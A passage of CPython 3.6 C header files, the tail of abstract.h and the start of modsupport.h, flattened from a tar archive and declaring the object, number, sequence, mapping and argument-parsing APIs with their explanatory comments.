1) PyAPI_FUNC(PyObject *) _PyObject_Call_Prepend(PyObject *func, PyObject *obj, PyObject *args, PyObject *kwargs); PyAPI_FUNC(PyObject *) _Py_CheckFunctionResult(PyObject *func, PyObject *result, const char *where); #endif /* Py_LIMITED_API */ PyAPI_FUNC(PyObject *) PyObject_CallObject(PyObject *callable_object, PyObject *args); /* Call a callable Python object, callable_object, with arguments given by the tuple, args. If no arguments are needed, then args may be NULL. Returns the result of the call on success, or NULL on failure. This is the equivalent of the Python expression: o(*args). */ PyAPI_FUNC(PyObject *) PyObject_CallFunction(PyObject *callable_object, const char *format, ...); /* Call a callable Python object, callable_object, with a variable number of C arguments. The C arguments are described using a mkvalue-style format string. The format may be NULL, indicating that no arguments are provided. Returns the result of the call on success, or NULL on failure. This is the equivalent of the Python expression: o(*args). */ PyAPI_FUNC(PyObject *) PyObject_CallMethod(PyObject *o, const char *method, const char *format, ...); /* Call the method named m of object o with a variable number of C arguments. The C arguments are described by a mkvalue format string. The format may be NULL, indicating that no arguments are provided. Returns the result of the call on success, or NULL on failure. This is the equivalent of the Python expression: o.method(args). */ #ifndef Py_LIMITED_API PyAPI_FUNC(PyObject *) _PyObject_CallMethodId(PyObject *o, _Py_Identifier *method, const char *format, ...); /* Like PyObject_CallMethod, but expect a _Py_Identifier* as the method name. */ #endif /* !Py_LIMITED_API */ PyAPI_FUNC(PyObject *) _PyObject_CallFunction_SizeT(PyObject *callable, const char *format, ...); PyAPI_FUNC(PyObject *) _PyObject_CallMethod_SizeT(PyObject *o, const char *name, const char *format, ...); #ifndef Py_LIMITED_API PyAPI_FUNC(PyObject *) _PyObject_CallMethodId_SizeT(PyObject *o, _Py_Identifier *name, const char *format, ...); #endif /* !Py_LIMITED_API */ PyAPI_FUNC(PyObject *) PyObject_CallFunctionObjArgs(PyObject *callable, ...); /* Call a callable Python object, callable_object, with a variable number of C arguments. The C arguments are provided as PyObject * values, terminated by a NULL. Returns the result of the call on success, or NULL on failure. This is the equivalent of the Python expression: o(*args). */ PyAPI_FUNC(PyObject *) PyObject_CallMethodObjArgs(PyObject *o, PyObject *method, ...); #ifndef Py_LIMITED_API PyAPI_FUNC(PyObject *) _PyObject_CallMethodIdObjArgs(PyObject *o, struct _Py_Identifier *method, ...); #endif /* !Py_LIMITED_API */ /* Call the method named m of object o with a variable number of C arguments. The C arguments are provided as PyObject * values, terminated by NULL. Returns the result of the call on success, or NULL on failure. This is the equivalent of the Python expression: o.method(args). */ /* Implemented elsewhere: long PyObject_Hash(PyObject *o); Compute and return the hash, hash_value, of an object, o. On failure, return -1. This is the equivalent of the Python expression: hash(o). */ /* Implemented elsewhere: int PyObject_IsTrue(PyObject *o); Returns 1 if the object, o, is considered to be true, 0 if o is considered to be false and -1 on failure. This is equivalent to the Python expression: not not o */ /* Implemented elsewhere: int PyObject_Not(PyObject *o); Returns 0 if the object, o, is considered to be true, 1 if o is considered to be false and -1 on failure. This is equivalent to the Python expression: not o */ PyAPI_FUNC(PyObject *) PyObject_Type(PyObject *o); /* On success, returns a type object corresponding to the object type of object o. On failure, returns NULL. This is equivalent to the Python expression: type(o). */ PyAPI_FUNC(Py_ssize_t) PyObject_Size(PyObject *o); /* Return the size of object o. If the object, o, provides both sequence and mapping protocols, the sequence size is returned. On error, -1 is returned. This is the equivalent to the Python expression: len(o). */ /* For DLL compatibility */ #undef PyObject_Length PyAPI_FUNC(Py_ssize_t) PyObject_Length(PyObject *o); #define PyObject_Length PyObject_Size #ifndef Py_LIMITED_API PyAPI_FUNC(int) _PyObject_HasLen(PyObject *o); PyAPI_FUNC(Py_ssize_t) PyObject_LengthHint(PyObject *o, Py_ssize_t); #endif /* Guess the size of object o using len(o) or o.__length_hint__(). If neither of those return a non-negative value, then return the default value. If one of the calls fails, this function returns -1. */ PyAPI_FUNC(PyObject *) PyObject_GetItem(PyObject *o, PyObject *key); /* Return element of o corresponding to the object, key, or NULL on failure. This is the equivalent of the Python expression: o[key]. */ PyAPI_FUNC(int) PyObject_SetItem(PyObject *o, PyObject *key, PyObject *v); /* Map the object key to the value v. Raise an exception and return -1 on failure; return 0 on success. This is the equivalent of the Python statement o[key]=v. */ PyAPI_FUNC(int) PyObject_DelItemString(PyObject *o, const char *key); /* Remove the mapping for object, key, from the object *o. Returns -1 on failure. This is equivalent to the Python statement: del o[key]. */ PyAPI_FUNC(int) PyObject_DelItem(PyObject *o, PyObject *key); /* Delete the mapping for key from *o. Returns -1 on failure. This is the equivalent of the Python statement: del o[key]. */ /* old buffer API FIXME: usage of these should all be replaced in Python itself but for backwards compatibility we will implement them. Their usage without a corresponding "unlock" mechanism may create issues (but they would already be there). */ PyAPI_FUNC(int) PyObject_AsCharBuffer(PyObject *obj, const char **buffer, Py_ssize_t *buffer_len); /* Takes an arbitrary object which must support the (character, single segment) buffer interface and returns a pointer to a read-only memory location useable as character based input for subsequent processing. 0 is returned on success. buffer and buffer_len are only set in case no error occurs. Otherwise, -1 is returned and an exception set. */ PyAPI_FUNC(int) PyObject_CheckReadBuffer(PyObject *obj); /* Checks whether an arbitrary object supports the (character, single segment) buffer interface. Returns 1 on success, 0 on failure. */ PyAPI_FUNC(int) PyObject_AsReadBuffer(PyObject *obj, const void **buffer, Py_ssize_t *buffer_len); /* Same as PyObject_AsCharBuffer() except that this API expects (readable, single segment) buffer interface and returns a pointer to a read-only memory location which can contain arbitrary data. 0 is returned on success. buffer and buffer_len are only set in case no error occurs. Otherwise, -1 is returned and an exception set. */ PyAPI_FUNC(int) PyObject_AsWriteBuffer(PyObject *obj, void **buffer, Py_ssize_t *buffer_len); /* Takes an arbitrary object which must support the (writable, single segment) buffer interface and returns a pointer to a writable memory location in buffer of size buffer_len. 0 is returned on success. buffer and buffer_len are only set in case no error occurs. Otherwise, -1 is returned and an exception set. */ /* new buffer API */ #ifndef Py_LIMITED_API #define PyObject_CheckBuffer(obj) \ (((obj)->ob_type->tp_as_buffer != NULL) && \ ((obj)->ob_type->tp_as_buffer->bf_getbuffer != NULL)) /* Return 1 if the getbuffer function is available, otherwise return 0 */ PyAPI_FUNC(int) PyObject_GetBuffer(PyObject *obj, Py_buffer *view, int flags); /* This is a C-API version of the getbuffer function call. It checks to make sure object has the required function pointer and issues the call. Returns -1 and raises an error on failure and returns 0 on success */ PyAPI_FUNC(void *) PyBuffer_GetPointer(Py_buffer *view, Py_ssize_t *indices); /* Get the memory area pointed to by the indices for the buffer given. Note that view->ndim is the assumed size of indices */ PyAPI_FUNC(int) PyBuffer_SizeFromFormat(const char *); /* Return the implied itemsize of the data-format area from a struct-style description */ /* Implementation in memoryobject.c */ PyAPI_FUNC(int) PyBuffer_ToContiguous(void *buf, Py_buffer *view, Py_ssize_t len, char order); PyAPI_FUNC(int) PyBuffer_FromContiguous(Py_buffer *view, void *buf, Py_ssize_t len, char order); /* Copy len bytes of data from the contiguous chunk of memory pointed to by buf into the buffer exported by obj. Return 0 on success and return -1 and raise a PyBuffer_Error on error (i.e. the object does not have a buffer interface or it is not working). If fort is 'F', then if the object is multi-dimensional, then the data will be copied into the array in Fortran-style (first dimension varies the fastest). If fort is 'C', then the data will be copied into the array in C-style (last dimension varies the fastest). If fort is 'A', then it does not matter and the copy will be made in whatever way is more efficient. */ PyAPI_FUNC(int) PyObject_CopyData(PyObject *dest, PyObject *src); /* Copy the data from the src buffer to the buffer of destination */ PyAPI_FUNC(int) PyBuffer_IsContiguous(const Py_buffer *view, char fort); PyAPI_FUNC(void) PyBuffer_FillContiguousStrides(int ndims, Py_ssize_t *shape, Py_ssize_t *strides, int itemsize, char fort); /* Fill the strides array with byte-strides of a contiguous (Fortran-style if fort is 'F' or C-style otherwise) array of the given shape with the given number of bytes per element. */ PyAPI_FUNC(int) PyBuffer_FillInfo(Py_buffer *view, PyObject *o, void *buf, Py_ssize_t len, int readonly, int flags); /* Fills in a buffer-info structure correctly for an exporter that can only share a contiguous chunk of memory of "unsigned bytes" of the given length. Returns 0 on success and -1 (with raising an error) on error. */ PyAPI_FUNC(void) PyBuffer_Release(Py_buffer *view); /* Releases a Py_buffer obtained from getbuffer ParseTuple's s*. */ #endif /* Py_LIMITED_API */ PyAPI_FUNC(PyObject *) PyObject_Format(PyObject* obj, PyObject *format_spec); /* Takes an arbitrary object and returns the result of calling obj.__format__(format_spec). */ /* Iterators */ PyAPI_FUNC(PyObject *) PyObject_GetIter(PyObject *); /* Takes an object and returns an iterator for it. This is typically a new iterator but if the argument is an iterator, this returns itself. */ #define PyIter_Check(obj) \ ((obj)->ob_type->tp_iternext != NULL && \ (obj)->ob_type->tp_iternext != &_PyObject_NextNotImplemented) PyAPI_FUNC(PyObject *) PyIter_Next(PyObject *); /* Takes an iterator object and calls its tp_iternext slot, returning the next value. If the iterator is exhausted, this returns NULL without setting an exception. NULL with an exception means an error occurred. */ /* Number Protocol:*/ PyAPI_FUNC(int) PyNumber_Check(PyObject *o); /* Returns 1 if the object, o, provides numeric protocols, and false otherwise. This function always succeeds. */ PyAPI_FUNC(PyObject *) PyNumber_Add(PyObject *o1, PyObject *o2); /* Returns the result of adding o1 and o2, or null on failure. This is the equivalent of the Python expression: o1+o2. */ PyAPI_FUNC(PyObject *) PyNumber_Subtract(PyObject *o1, PyObject *o2); /* Returns the result of subtracting o2 from o1, or null on failure. This is the equivalent of the Python expression: o1-o2. */ PyAPI_FUNC(PyObject *) PyNumber_Multiply(PyObject *o1, PyObject *o2); /* Returns the result of multiplying o1 and o2, or null on failure. This is the equivalent of the Python expression: o1*o2. */ #if !defined(Py_LIMITED_API) || Py_LIMITED_API+0 >= 0x03050000 PyAPI_FUNC(PyObject *) PyNumber_MatrixMultiply(PyObject *o1, PyObject *o2); /* This is the equivalent of the Python expression: o1 @ o2. */ #endif PyAPI_FUNC(PyObject *) PyNumber_FloorDivide(PyObject *o1, PyObject *o2); /* Returns the result of dividing o1 by o2 giving an integral result, or null on failure. This is the equivalent of the Python expression: o1//o2. */ PyAPI_FUNC(PyObject *) PyNumber_TrueDivide(PyObject *o1, PyObject *o2); /* Returns the result of dividing o1 by o2 giving a float result, or null on failure. This is the equivalent of the Python expression: o1/o2. */ PyAPI_FUNC(PyObject *) PyNumber_Remainder(PyObject *o1, PyObject *o2); /* Returns the remainder of dividing o1 by o2, or null on failure. This is the equivalent of the Python expression: o1%o2. */ PyAPI_FUNC(PyObject *) PyNumber_Divmod(PyObject *o1, PyObject *o2); /* See the built-in function divmod. Returns NULL on failure. This is the equivalent of the Python expression: divmod(o1,o2). */ PyAPI_FUNC(PyObject *) PyNumber_Power(PyObject *o1, PyObject *o2, PyObject *o3); /* See the built-in function pow. Returns NULL on failure. This is the equivalent of the Python expression: pow(o1,o2,o3), where o3 is optional. */ PyAPI_FUNC(PyObject *) PyNumber_Negative(PyObject *o); /* Returns the negation of o on success, or null on failure. This is the equivalent of the Python expression: -o. */ PyAPI_FUNC(PyObject *) PyNumber_Positive(PyObject *o); /* Returns the (what?) of o on success, or NULL on failure. This is the equivalent of the Python expression: +o. */ PyAPI_FUNC(PyObject *) PyNumber_Absolute(PyObject *o); /* Returns the absolute value of o, or null on failure. This is the equivalent of the Python expression: abs(o). */ PyAPI_FUNC(PyObject *) PyNumber_Invert(PyObject *o); /* Returns the bitwise negation of o on success, or NULL on failure. This is the equivalent of the Python expression: ~o. */ PyAPI_FUNC(PyObject *) PyNumber_Lshift(PyObject *o1, PyObject *o2); /* Returns the result of left shifting o1 by o2 on success, or NULL on failure. This is the equivalent of the Python expression: o1 << o2. */ PyAPI_FUNC(PyObject *) PyNumber_Rshift(PyObject *o1, PyObject *o2); /* Returns the result of right shifting o1 by o2 on success, or NULL on failure. This is the equivalent of the Python expression: o1 >> o2. */ PyAPI_FUNC(PyObject *) PyNumber_And(PyObject *o1, PyObject *o2); /* Returns the result of bitwise and of o1 and o2 on success, or NULL on failure. This is the equivalent of the Python expression: o1&o2. */ PyAPI_FUNC(PyObject *) PyNumber_Xor(PyObject *o1, PyObject *o2); /* Returns the bitwise exclusive or of o1 by o2 on success, or NULL on failure. This is the equivalent of the Python expression: o1^o2. */ PyAPI_FUNC(PyObject *) PyNumber_Or(PyObject *o1, PyObject *o2); /* Returns the result of bitwise or on o1 and o2 on success, or NULL on failure. This is the equivalent of the Python expression: o1|o2. */ #define PyIndex_Check(obj) \ ((obj)->ob_type->tp_as_number != NULL && \ (obj)->ob_type->tp_as_number->nb_index != NULL) PyAPI_FUNC(PyObject *) PyNumber_Index(PyObject *o); /* Returns the object converted to a Python int or NULL with an error raised on failure. */ PyAPI_FUNC(Py_ssize_t) PyNumber_AsSsize_t(PyObject *o, PyObject *exc); /* Returns the object converted to Py_ssize_t by going through PyNumber_Index first. If an overflow error occurs while converting the int to Py_ssize_t, then the second argument is the error-type to return. If it is NULL, then the overflow error is cleared and the value is clipped. */ PyAPI_FUNC(PyObject *) PyNumber_Long(PyObject *o); /* Returns the o converted to an integer object on success, or NULL on failure. This is the equivalent of the Python expression: int(o). */ PyAPI_FUNC(PyObject *) PyNumber_Float(PyObject *o); /* Returns the o converted to a float object on success, or NULL on failure. This is the equivalent of the Python expression: float(o). */ /* In-place variants of (some of) the above number protocol functions */ PyAPI_FUNC(PyObject *) PyNumber_InPlaceAdd(PyObject *o1, PyObject *o2); /* Returns the result of adding o2 to o1, possibly in-place, or null on failure. This is the equivalent of the Python expression: o1 += o2. */ PyAPI_FUNC(PyObject *) PyNumber_InPlaceSubtract(PyObject *o1, PyObject *o2); /* Returns the result of subtracting o2 from o1, possibly in-place or null on failure. This is the equivalent of the Python expression: o1 -= o2. */ PyAPI_FUNC(PyObject *) PyNumber_InPlaceMultiply(PyObject *o1, PyObject *o2); /* Returns the result of multiplying o1 by o2, possibly in-place, or null on failure. This is the equivalent of the Python expression: o1 *= o2. */ #if !defined(Py_LIMITED_API) || Py_LIMITED_API+0 >= 0x03050000 PyAPI_FUNC(PyObject *) PyNumber_InPlaceMatrixMultiply(PyObject *o1, PyObject *o2); /* This is the equivalent of the Python expression: o1 @= o2. */ #endif PyAPI_FUNC(PyObject *) PyNumber_InPlaceFloorDivide(PyObject *o1, PyObject *o2); /* Returns the result of dividing o1 by o2 giving an integral result, possibly in-place, or null on failure. This is the equivalent of the Python expression: o1 /= o2. */ PyAPI_FUNC(PyObject *) PyNumber_InPlaceTrueDivide(PyObject *o1, PyObject *o2); /* Returns the result of dividing o1 by o2 giving a float result, possibly in-place, or null on failure. This is the equivalent of the Python expression: o1 /= o2. */ PyAPI_FUNC(PyObject *) PyNumber_InPlaceRemainder(PyObject *o1, PyObject *o2); /* Returns the remainder of dividing o1 by o2, possibly in-place, or null on failure. This is the equivalent of the Python expression: o1 %= o2. */ PyAPI_FUNC(PyObject *) PyNumber_InPlacePower(PyObject *o1, PyObject *o2, PyObject *o3); /* Returns the result of raising o1 to the power of o2, possibly in-place, or null on failure. This is the equivalent of the Python expression: o1 **= o2, or pow(o1, o2, o3) if o3 is present. */ PyAPI_FUNC(PyObject *) PyNumber_InPlaceLshift(PyObject *o1, PyObject *o2); /* Returns the result of left shifting o1 by o2, possibly in-place, or null on failure. This is the equivalent of the Python expression: o1 <<= o2. */ PyAPI_FUNC(PyObject *) PyNumber_InPlaceRshift(PyObject *o1, PyObject *o2); /* Returns the result of right shifting o1 by o2, possibly in-place or null on failure. This is the equivalent of the Python expression: o1 >>= o2. */ PyAPI_FUNC(PyObject *) PyNumber_InPlaceAnd(PyObject *o1, PyObject *o2); /* Returns the result of bitwise and of o1 and o2, possibly in-place, or null on failure. This is the equivalent of the Python expression: o1 &= o2. */ PyAPI_FUNC(PyObject *) PyNumber_InPlaceXor(PyObject *o1, PyObject *o2); /* Returns the bitwise exclusive or of o1 by o2, possibly in-place, or null on failure. This is the equivalent of the Python expression: o1 ^= o2. */ PyAPI_FUNC(PyObject *) PyNumber_InPlaceOr(PyObject *o1, PyObject *o2); /* Returns the result of bitwise or of o1 and o2, possibly in-place, or null on failure. This is the equivalent of the Python expression: o1 |= o2. */ PyAPI_FUNC(PyObject *) PyNumber_ToBase(PyObject *n, int base); /* Returns the integer n converted to a string with a base, with a base marker of 0b, 0o or 0x prefixed if applicable. If n is not an int object, it is converted with PyNumber_Index first. */ /* Sequence protocol:*/ PyAPI_FUNC(int) PySequence_Check(PyObject *o); /* Return 1 if the object provides sequence protocol, and zero otherwise. This function always succeeds. */ PyAPI_FUNC(Py_ssize_t) PySequence_Size(PyObject *o); /* Return the size of sequence object o, or -1 on failure. */ /* For DLL compatibility */ #undef PySequence_Length PyAPI_FUNC(Py_ssize_t) PySequence_Length(PyObject *o); #define PySequence_Length PySequence_Size PyAPI_FUNC(PyObject *) PySequence_Concat(PyObject *o1, PyObject *o2); /* Return the concatenation of o1 and o2 on success, and NULL on failure. This is the equivalent of the Python expression: o1+o2. */ PyAPI_FUNC(PyObject *) PySequence_Repeat(PyObject *o, Py_ssize_t count); /* Return the result of repeating sequence object o count times, or NULL on failure. This is the equivalent of the Python expression: o1*count. */ PyAPI_FUNC(PyObject *) PySequence_GetItem(PyObject *o, Py_ssize_t i); /* Return the ith element of o, or NULL on failure. This is the equivalent of the Python expression: o[i]. */ PyAPI_FUNC(PyObject *) PySequence_GetSlice(PyObject *o, Py_ssize_t i1, Py_ssize_t i2); /* Return the slice of sequence object o between i1 and i2, or NULL on failure. This is the equivalent of the Python expression: o[i1:i2]. */ PyAPI_FUNC(int) PySequence_SetItem(PyObject *o, Py_ssize_t i, PyObject *v); /* Assign object v to the ith element of o. Raise an exception and return -1 on failure; return 0 on success. This is the equivalent of the Python statement o[i]=v. */ PyAPI_FUNC(int) PySequence_DelItem(PyObject *o, Py_ssize_t i); /* Delete the ith element of object v. Returns -1 on failure. This is the equivalent of the Python statement: del o[i]. */ PyAPI_FUNC(int) PySequence_SetSlice(PyObject *o, Py_ssize_t i1, Py_ssize_t i2, PyObject *v); /* Assign the sequence object, v, to the slice in sequence object, o, from i1 to i2. Returns -1 on failure. This is the equivalent of the Python statement: o[i1:i2]=v. */ PyAPI_FUNC(int) PySequence_DelSlice(PyObject *o, Py_ssize_t i1, Py_ssize_t i2); /* Delete the slice in sequence object, o, from i1 to i2. Returns -1 on failure. This is the equivalent of the Python statement: del o[i1:i2]. */ PyAPI_FUNC(PyObject *) PySequence_Tuple(PyObject *o); /* Returns the sequence, o, as a tuple on success, and NULL on failure. This is equivalent to the Python expression: tuple(o) */ PyAPI_FUNC(PyObject *) PySequence_List(PyObject *o); /* Returns the sequence, o, as a list on success, and NULL on failure. This is equivalent to the Python expression: list(o) */ PyAPI_FUNC(PyObject *) PySequence_Fast(PyObject *o, const char* m); /* Return the sequence, o, as a list, unless it's already a tuple or list. Use PySequence_Fast_GET_ITEM to access the members of this list, and PySequence_Fast_GET_SIZE to get its length. Returns NULL on failure. If the object does not support iteration, raises a TypeError exception with m as the message text. */ #define PySequence_Fast_GET_SIZE(o) \ (PyList_Check(o) ? PyList_GET_SIZE(o) : PyTuple_GET_SIZE(o)) /* Return the size of o, assuming that o was returned by PySequence_Fast and is not NULL. */ #define PySequence_Fast_GET_ITEM(o, i)\ (PyList_Check(o) ? PyList_GET_ITEM(o, i) : PyTuple_GET_ITEM(o, i)) /* Return the ith element of o, assuming that o was returned by PySequence_Fast, and that i is within bounds. */ #define PySequence_ITEM(o, i)\ ( Py_TYPE(o)->tp_as_sequence->sq_item(o, i) ) /* Assume tp_as_sequence and sq_item exist and that i does not need to be corrected for a negative index */ #define PySequence_Fast_ITEMS(sf) \ (PyList_Check(sf) ? ((PyListObject *)(sf))->ob_item \ : ((PyTupleObject *)(sf))->ob_item) /* Return a pointer to the underlying item array for an object retured by PySequence_Fast */ PyAPI_FUNC(Py_ssize_t) PySequence_Count(PyObject *o, PyObject *value); /* Return the number of occurrences on value on o, that is, return the number of keys for which o[key]==value. On failure, return -1. This is equivalent to the Python expression: o.count(value). */ PyAPI_FUNC(int) PySequence_Contains(PyObject *seq, PyObject *ob); /* Return -1 if error; 1 if ob in seq; 0 if ob not in seq. Use __contains__ if possible, else _PySequence_IterSearch(). */ #ifndef Py_LIMITED_API #define PY_ITERSEARCH_COUNT 1 #define PY_ITERSEARCH_INDEX 2 #define PY_ITERSEARCH_CONTAINS 3 PyAPI_FUNC(Py_ssize_t) _PySequence_IterSearch(PyObject *seq, PyObject *obj, int operation); #endif /* Iterate over seq. Result depends on the operation: PY_ITERSEARCH_COUNT: return # of times obj appears in seq; -1 if error. PY_ITERSEARCH_INDEX: return 0-based index of first occurrence of obj in seq; set ValueError and return -1 if none found; also return -1 on error. PY_ITERSEARCH_CONTAINS: return 1 if obj in seq, else 0; -1 on error. */ /* For DLL-level backwards compatibility */ #undef PySequence_In PyAPI_FUNC(int) PySequence_In(PyObject *o, PyObject *value); /* For source-level backwards compatibility */ #define PySequence_In PySequence_Contains /* Determine if o contains value. If an item in o is equal to X, return 1, otherwise return 0. On error, return -1. This is equivalent to the Python expression: value in o. */ PyAPI_FUNC(Py_ssize_t) PySequence_Index(PyObject *o, PyObject *value); /* Return the first index for which o[i]=value. On error, return -1. This is equivalent to the Python expression: o.index(value). */ /* In-place versions of some of the above Sequence functions. */ PyAPI_FUNC(PyObject *) PySequence_InPlaceConcat(PyObject *o1, PyObject *o2); /* Append o2 to o1, in-place when possible. Return the resulting object, which could be o1, or NULL on failure. This is the equivalent of the Python expression: o1 += o2. */ PyAPI_FUNC(PyObject *) PySequence_InPlaceRepeat(PyObject *o, Py_ssize_t count); /* Repeat o1 by count, in-place when possible. Return the resulting object, which could be o1, or NULL on failure. This is the equivalent of the Python expression: o1 *= count. */ /* Mapping protocol:*/ PyAPI_FUNC(int) PyMapping_Check(PyObject *o); /* Return 1 if the object provides mapping protocol, and zero otherwise. This function always succeeds. */ PyAPI_FUNC(Py_ssize_t) PyMapping_Size(PyObject *o); /* Returns the number of keys in object o on success, and -1 on failure. For objects that do not provide sequence protocol, this is equivalent to the Python expression: len(o). */ /* For DLL compatibility */ #undef PyMapping_Length PyAPI_FUNC(Py_ssize_t) PyMapping_Length(PyObject *o); #define PyMapping_Length PyMapping_Size /* implemented as a macro: int PyMapping_DelItemString(PyObject *o, const char *key); Remove the mapping for object, key, from the object *o. Returns -1 on failure. This is equivalent to the Python statement: del o[key]. */ #define PyMapping_DelItemString(O,K) PyObject_DelItemString((O),(K)) /* implemented as a macro: int PyMapping_DelItem(PyObject *o, PyObject *key); Remove the mapping for object, key, from the object *o. Returns -1 on failure. This is equivalent to the Python statement: del o[key]. */ #define PyMapping_DelItem(O,K) PyObject_DelItem((O),(K)) PyAPI_FUNC(int) PyMapping_HasKeyString(PyObject *o, const char *key); /* On success, return 1 if the mapping object has the key, key, and 0 otherwise. This is equivalent to the Python expression: key in o. This function always succeeds. */ PyAPI_FUNC(int) PyMapping_HasKey(PyObject *o, PyObject *key); /* Return 1 if the mapping object has the key, key, and 0 otherwise. This is equivalent to the Python expression: key in o. This function always succeeds. */ PyAPI_FUNC(PyObject *) PyMapping_Keys(PyObject *o); /* On success, return a list or tuple of the keys in object o. On failure, return NULL. */ PyAPI_FUNC(PyObject *) PyMapping_Values(PyObject *o); /* On success, return a list or tuple of the values in object o. On failure, return NULL. */ PyAPI_FUNC(PyObject *) PyMapping_Items(PyObject *o); /* On success, return a list or tuple of the items in object o, where each item is a tuple containing a key-value pair. On failure, return NULL. */ PyAPI_FUNC(PyObject *) PyMapping_GetItemString(PyObject *o, const char *key); /* Return element of o corresponding to the object, key, or NULL on failure. This is the equivalent of the Python expression: o[key]. */ PyAPI_FUNC(int) PyMapping_SetItemString(PyObject *o, const char *key, PyObject *value); /* Map the object, key, to the value, v. Returns -1 on failure. This is the equivalent of the Python statement: o[key]=v. */ PyAPI_FUNC(int) PyObject_IsInstance(PyObject *object, PyObject *typeorclass); /* isinstance(object, typeorclass) */ PyAPI_FUNC(int) PyObject_IsSubclass(PyObject *object, PyObject *typeorclass); /* issubclass(object, typeorclass) */ #ifndef Py_LIMITED_API PyAPI_FUNC(int) _PyObject_RealIsInstance(PyObject *inst, PyObject *cls); PyAPI_FUNC(int) _PyObject_RealIsSubclass(PyObject *derived, PyObject *cls); PyAPI_FUNC(char *const *) _PySequence_BytesToCharpArray(PyObject* self); PyAPI_FUNC(void) _Py_FreeCharPArray(char *const array[]); /* For internal use by buffer API functions */ PyAPI_FUNC(void) _Py_add_one_to_index_F(int nd, Py_ssize_t *index, const Py_ssize_t *shape); PyAPI_FUNC(void) _Py_add_one_to_index_C(int nd, Py_ssize_t *index, const Py_ssize_t *shape); #endif /* !Py_LIMITED_API */ #ifdef __cplusplus } #endif #endif /* Py_ABSTRACTOBJECT_H */ python3.6m/modsupport.h 0000644 00000016225 15246445047 0011077 0 ustar 00 #ifndef Py_MODSUPPORT_H #define Py_MODSUPPORT_H #ifdef __cplusplus extern "C" { #endif /* Module support interface */ #include <stdarg.h> /* If PY_SSIZE_T_CLEAN is defined, each functions treats #-specifier to mean Py_ssize_t */ #ifdef PY_SSIZE_T_CLEAN #define PyArg_Parse _PyArg_Parse_SizeT #define PyArg_ParseTuple _PyArg_ParseTuple_SizeT #define PyArg_ParseTupleAndKeywords _PyArg_ParseTupleAndKeywords_SizeT #define PyArg_VaParse _PyArg_VaParse_SizeT #define PyArg_VaParseTupleAndKeywords _PyArg_VaParseTupleAndKeywords_SizeT #define Py_BuildValue _Py_BuildValue_SizeT #define Py_VaBuildValue _Py_VaBuildValue_SizeT #else #ifndef Py_LIMITED_API PyAPI_FUNC(PyObject *) _Py_VaBuildValue_SizeT(const char *, va_list); #endif /* !Py_LIMITED_API */ #endif /* Due to a glitch in 3.2, the _SizeT versions weren't exported from the DLL. */ #if !defined(PY_SSIZE_T_CLEAN) || !defined(Py_LIMITED_API) || Py_LIMITED_API+0 >= 0x03030000 PyAPI_FUNC(int) PyArg_Parse(PyObject *, const char *, ...); PyAPI_FUNC(int) PyArg_ParseTuple(PyObject *, const char *, ...); PyAPI_FUNC(int) PyArg_ParseTupleAndKeywords(PyObject *, PyObject *, const char *, char **, ...); PyAPI_FUNC(int) PyArg_VaParse(PyObject *, const char *, va_list); PyAPI_FUNC(int) PyArg_VaParseTupleAndKeywords(PyObject *, PyObject *, const char *, char **, va_list); #endif PyAPI_FUNC(int) PyArg_ValidateKeywordArguments(PyObject *); PyAPI_FUNC(int) PyArg_UnpackTuple(PyObject *, const char *, Py_ssize_t, Py_ssize_t, ...); PyAPI_FUNC(PyObject *) Py_BuildValue(const char *, ...); PyAPI_FUNC(PyObject *) _Py_BuildValue_SizeT(const char *, ...); #ifndef Py_LIMITED_API PyAPI_FUNC(int) _PyArg_NoKeywords(const char *funcname, PyObject *kw); PyAPI_FUNC(int) _PyArg_NoPositional(const char *funcname, PyObject *args); #endif PyAPI_FUNC(PyObject *) Py_VaBuildValue(const char *, va_list); #ifndef Py_LIMITED_API typedef struct _PyArg_Parser { const char *format; const char * const *keywords; const char *fname; const char *custom_msg; int pos; /* number of positional-only arguments */ int min; /* minimal number of arguments */ int max; /* maximal number of positional arguments */ PyObject *kwtuple; /* tuple of keyword parameter names */ struct _PyArg_Parser *next; } _PyArg_Parser; #ifdef PY_SSIZE_T_CLEAN #define _PyArg_ParseTupleAndKeywordsFast _PyArg_ParseTupleAndKeywordsFast_SizeT #define _PyArg_ParseStack _PyArg_ParseStack_SizeT #define _PyArg_VaParseTupleAndKeywordsFast _PyArg_VaParseTupleAndKeywordsFast_SizeT #endif PyAPI_FUNC(int) _PyArg_ParseTupleAndKeywordsFast(PyObject *, PyObject *, struct _PyArg_Parser *, ...); PyAPI_FUNC(int) _PyArg_ParseStack(PyObject **args, Py_ssize_t nargs, PyObject *kwnames, struct _PyArg_Parser *, ...); PyAPI_FUNC(int) _PyArg_VaParseTupleAndKeywordsFast(PyObject *, PyObject *, struct _PyArg_Parser *, va_list); void _PyArg_Fini(void); #endif PyAPI_FUNC(int) PyModule_AddObject(PyObject *, const char *, PyObject *); PyAPI_FUNC(int) PyModule_AddIntConstant(PyObject *, const char *, long); PyAPI_FUNC(int) PyModule_AddStringConstant(PyObject *, const char *, const char *); #define PyModule_AddIntMacro(m, c) PyModule_AddIntConstant(m, #c, c) #define PyModule_AddStringMacro(m, c) PyModule_AddStringConstant(m, #c, c) #if !defined(Py_LIMITED_API) || Py_LIMITED_API+0 >= 0x03050000 /* New in 3.5 */ PyAPI_FUNC(int) PyModule_SetDocString(PyObject *, const char *); PyAPI_FUNC(int) PyModule_AddFunctions(PyObject *, PyMethodDef *); PyAPI_FUNC(int) PyModule_ExecDef(PyObject *module, PyModuleDef *def); #endif #define Py_CLEANUP_SUPPORTED 0x20000 #define PYTHON_API_VERSION 1013 #define PYTHON_API_STRING "1013" /* The API version is maintained (independently from the Python version) so we can detect mismatches between the interpreter and dynamically loaded modules. These are diagnosed by an error message but the module is still loaded (because the mismatch can only be tested after loading the module). The error message is intended to explain the core dump a few seconds later. The symbol PYTHON_API_STRING defines the same value as a string literal. *** PLEASE MAKE SURE THE DEFINITIONS MATCH. *** Please add a line or two to the top of this log for each API version change: 22-Feb-2006 MvL 1013 PEP 353 - long indices for sequence lengths 19-Aug-2002 GvR 1012 Changes to string object struct for interning changes, saving 3 bytes. 17-Jul-2001 GvR 1011 Descr-branch, just to be on the safe side 25-Jan-2001 FLD 1010 Parameters added to PyCode_New() and PyFrame_New(); Python 2.1a2 14-Mar-2000 GvR 1009 Unicode API added 3-Jan-1999 GvR 1007 Decided to change back! (Don't reuse 1008!) 3-Dec-1998 GvR 1008 Python 1.5.2b1 18-Jan-1997 GvR 1007 string interning and other speedups 11-Oct-1996 GvR renamed Py_Ellipses to Py_Ellipsis :-( 30-Jul-1996 GvR Slice and ellipses syntax added 23-Jul-1996 GvR For 1.4 -- better safe than sorry this time :-) 